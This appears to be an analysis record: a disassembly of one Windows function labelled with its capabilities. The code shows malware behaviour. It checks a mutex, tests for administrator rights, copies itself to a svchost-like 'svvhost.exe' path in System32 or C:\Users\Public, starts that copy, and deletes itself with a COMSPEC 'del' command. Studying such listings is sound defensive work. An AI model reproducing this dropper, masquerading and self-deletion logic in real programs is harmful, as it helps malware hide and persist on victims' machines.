Function at 0x140003e70
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get comspec environment variable
Get token membership
Initialize winsock library
Query environment variable
Resume thread
Self delete
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r13
push r14
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
lea r8, str.MOTHERFUCKER
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400045e6
test rbx, rbx
je 0x1400045e6
mov ecx, 0x202
lea rdx, [rbp + 0xe0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140003f44
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.Failed._Error_Code_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rax, 0xffffffffffffffff
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.140007b70
lea r11, [rsp + 0x9c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
lea rcx, [rbp - 0x28]
call fcn.140003700
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xor r13d, r13d
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], setsockopt
mov byte [rbp - 0x48], r13b
lea rdi, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdi, qword [rbp - 0x28]
mov r14, qword [rbp - 0x18]
cmp r14, 8
jb 0x140003fe7
lea rsi, [r14 + rdi]
lea r8, [rsi - 7]
sub r8, rdi
lea edx, [r13 + 0x53]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140003fe7
nop
mov r8d, 8
lea rdx, str.System32
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003fda
inc rbx
lea r8, [rsi - 7]
sub r8, rbx
mov edx, 0x53
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140003fa0
jmp 0x140003fe7
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x140004621
lea rdi, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdi, qword [rbp - 0x28]
cmp r14, 0xf
jb 0x14000405c
lea rsi, [r14 + rdi]
lea r8, [rsi - 0xe]
sub r8, rdi
mov edx, 0x43
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000405c
nop dword [rax + rax]
mov r8d, recv
lea rdx, str.C:UsersPublic
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004108
inc rbx
lea r8, [rsi - 0xe]
sub r8, rbx
mov edx, 0x43
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140004020
mov dword [rbp - 0x50], r13d
mov dword [rbp - 0x58], 0
mov word [rbp - 0x54], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r13d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400040d5
lea r8, [rbp - 0x50]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1400040ca
mov dword [rbp - 0x50], r13d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
lea rcx, [rbp - 0x48]
cmp dword [rbp - 0x50], 0
je 0x14000411a
mov r8d, 0x1f
lea rdx, str.C:WindowsSystem32_svvhost.exe
call fcn.1400064a0
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.140003a60
test al, al
je 0x1400045f5
jmp 0x140004141
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x140004621
jmp 0x14000405c
mov r8d, 0x1b
lea rdx, str.C:UsersPublic_svvhost.exe
call fcn.1400064a0
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.140003a60
test al, al
je 0x14000464c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x70], 0x68
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r14, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x38]
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x140004678
lea rsi, [rax - 1]
mov qword [rbp - 0x80], setsockopt
cmp rdi, 0x10
jae 0x1400041da
mov qword [rsp + 0x78], rdi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x68], xmm0
jmp 0x140004267
mov rax, rdi
or rax, 0xf
cmp rax, rbx
ja 0x1400041f5
mov rbx, rax
mov ecx, socket
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x14000423b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400045ef
mov rcx, rax
call fcn.140007d14
mov rcx, rax
test rax, rax
je 0x140004234
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000424a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140004247
call fcn.140007d14
jmp 0x14000424a
mov rax, r13
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x68]
call fcn.140001b90
mov rcx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140004383
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CreateProcess_failed__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006600
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000ab6c]
call fcn.140006600
mov rcx, rax
lea rdx, [0x1400067d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140004331
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000432c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004585
call fcn.140007b90
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], setsockopt
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000437c
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004377
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400045d3
call fcn.140007b90
mov eax, esi
jmp 0x140003f18
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rdx, [rbp + 0x280]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140004553
mov r8d, 0x104
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x140004553
mov r8d, 0x104
lea rdx, [rbp + 0x6a0]
lea rcx, str.COMSPEC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x140004553
lea rdx, str.__c_del
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___nul
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 1
mov word [rbp + 0x40], r13w
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, recv
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], recv
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140004525
mov edx, 0x40
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, 0xfffffff1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x20
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140004591
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000458c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000458c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b90
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], setsockopt
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400045df
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400045da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b90
xor eax, eax
jmp 0x140003f18
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140001180
int3
lea rcx, [rbp - 0x28]
call fcn.140005c60
mov rcx, rax
call fcn.1400039c0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140005b10
mov rcx, rax
call fcn.140003d50
call fcn.140003a50
int3
lea rcx, [rbp - 0x28]
call fcn.140005c60
mov rcx, rax
call fcn.1400039c0
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140005b10
mov rcx, rax
call fcn.140003d50
call fcn.140003a50
int3
lea rcx, [rbp - 0x28]
call fcn.140005c60
mov rcx, rax
call fcn.1400039c0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140005b10
mov rcx, rax
call fcn.140003d50
call fcn.140003a50
int3
call fcn.140001220
int3